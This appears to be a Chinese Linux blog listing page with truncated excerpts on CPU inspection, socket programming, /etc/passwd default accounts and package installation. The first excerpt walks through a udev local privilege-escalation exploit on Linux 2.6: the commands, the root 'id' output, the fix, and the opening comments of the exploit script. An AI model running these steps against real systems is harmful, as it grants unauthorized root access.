此漏洞针对linux2.6内核，只要有普通用户权限，即可提升root权限，开始实验吧 1、复制以下代码，保存为udev.sh，并赋予可执行权限 2、#useradd test //新建一个普通用户 3、#su - test //切换至test用户 4、#ps -ef |grep udev //查看udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5、#sh udev.sh 473 //执行命令,udevd的id号减1，即473 6、sh-3.2# id uid=0(root) gid=0(root) groups=506(test) 此时test已经提升至root权限 如何修复漏洞，只要升级udev就行了 #yum update udev 附代码： #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the ga ......
几个cpu
more /proc/cpuinfo |grep "physical id"|uniq|wc -l
每个cpu是几核（假设cpu配置相同）
more /proc/cpuinfo |grep "physical id"|grep "0"|wc -l
cpu使用率
vmstat
推荐小工具nmon（aix和linux都有）
top后按数字1,多个cpu的话会显示多个
fdisk -l可以看到多个物理硬盘，做了硬raid只能看到一个硬盘
给你推荐个小工具
conky
用户监视系统
dmidecode
通过上面信息我们可以知道，有8个核。从processor 0 到processor 7可以看出来。
有两个cpu，从
physical id : 0
和
physical id : 1
可以看出有两个cpu。
从
cpu cores : 4
可以看出每个cpu有四个内核
[admin@~]$ cat /proc/cpuinfo | grep "physical id" ; cat /proc/cpuinfo | grep "processor" ; fdisk -l ; uname -a ; cat /etc/redhat-release
physical id : 0
physical id : 1
physical id : 2
physical id : 3
physical id : 4
physical id : 5
physical id : 6
physical id : 7
processor : 0
pro ......
按下面步骤来做，可以简单体验socket API的使用。具体函数的意义，请参考其他说明文档。
下面的函数直接copy, paste就可以了。
Step1. 创建Server 程序。
新建文件socket_s.c, 内容如下：
-------------------------------------------
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 2323
#define SERVER_IP "192.168.1.101"
int main()
{
int s, s2;
struct sockaddr_in addr;
struct sockaddr_in addr2;
char buffer[256];
int sin_size;
if((s=socket(AF_INET, SOCK_STREAM, 0))<0)
{
printf("creat socket error!\n");
perror("socket");
exit(1);
&nb ......
原文地址: http://www.kuqin.com/networkprog/20080512/8361.html
什么是Socket
Socket接口是TCP/IP网络的API，Socket接口定义了许多函数或例程，程序员可以用它们来开发TCP/IP网络上的应用程序。要学Internet上的TCP/IP网络编程，必须理解Socket接口。
Socket接口设计者最先是将接口放在Unix操作系统里面的。如果了解Unix系统的输入和输出的话，就很容易了解Socket了。网络的 Socket数据传输是一种特殊的I/O，Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket()，该函数返 回一个整型的Socket描述符，随后的连接建立、数据传输等操作都是通过该Socket实现的。常用的Socket类型有两种：流式Socket （SOCK_STREAM）和数据报式Socket（SOCK_DGRAM）。流式是一种面向连接的Socket，针对于面向连接的TCP服务应用；数据 报式Socket是一种无连接的Socket，对应于无连接的UDP服务应用。
Socket建立
为了建立Socket，程序可以调用Socket函数，该函数返回一个类似于文件描述符的句柄。socket函数原型为：
int socket(int domain, int type, int protocol);
domain指明所使用的协议族，通常为PF_INET，表示互联网协� ......
在linux中，口令文件在/etc/passwd中，早期的这个文件直接存放加密后的密码，前两位是"盐"值，是一个随机数，后面跟的是加密的密码。为了安全，现在的linux都提供了 /etc/shadow这个影子文件，密码放在这个文件里面，并且是只有root可读的。
下面来分析一下/etc/passwd文件，他的每个条目有7个域，分别是名字：密码：用户id：组id：用户信息：主目录：shell 例如：ynguo:x:509:510::/home/ynguo:/bin/bash
在利用了shadow文件的情况下，密码用一个x表示，普通用户看不到任何密码信息。如果你仔细的看看这个文件，会发现一些奇怪的用户名，她们是系 统的缺省账号，缺省账号是攻击者入侵的常用入口，因此一定要熟悉缺省账号，特别要注意密码域是否为空。下面简单介绍一下这些缺省账号
adm拥有账号文件，起始目录/var/adm通常包括日志文件
bin拥有用户命令的可执行文件
daemon用来执行系统守护进程
games用来玩游戏
halt用来执行halt命令
lp拥有打印机后台打印文件
mail拥有与邮件相关的进程和文件
news拥有与usenet相关的进程和文件
nobody被NFS（网络文件系统）使用
shutdown执行shutdown命令
sync执行sync命令
uucp拥有uucp工具 ......
Linux下软件包安装方法
1.已经编译打包好的xxx.rpm
使用rpm命令，需要打开终端，切换到xxx.rpm所在目录，rpm -ivh xxx.rpm
2.打包好的源码包xxx.src.rpm
要用rpm -rebuild xxx.src.rpm命令来重新生成
注：对于rpm命令的详解可以使用 $rpm -help来查看
3.安装程序xxx.bin
先把xxx.bin改为可执行状态，可以用如下命令：chmod +x xxx.bin，就可以在终端下执行xxx.bin了。
4.压缩方式的软件包xxx.tar.gz,xxx.bz2,xxx.z等等
这种软件包又分两种形式：
a.已经编译好的软件包，使用安装脚本来安装：
在安装前最好看下软件包的说明文件，如readme,install,xxx.htm等
打开终端，切换到软件包所在目录，运行如下命令./xxx.sh 或./xxx.pl即可。
b.需要自行编译的源码压缩包，先解压缩：
先看下软件包的说明文件，如readme,install,xxx.htm等。
一般安装形式为：
打开终端，切换到软件包所在目录，运行如下命令./configuer→make→make check→make install这样，就完成了软件的安装过程。 ......
总记录数:5772; 总页数:962; 每页6 条;
首页 上一页 [2] [3] [4] [5] 6
[7] [8] [9] [10] [11] 下一页 尾页
最新文章 : linux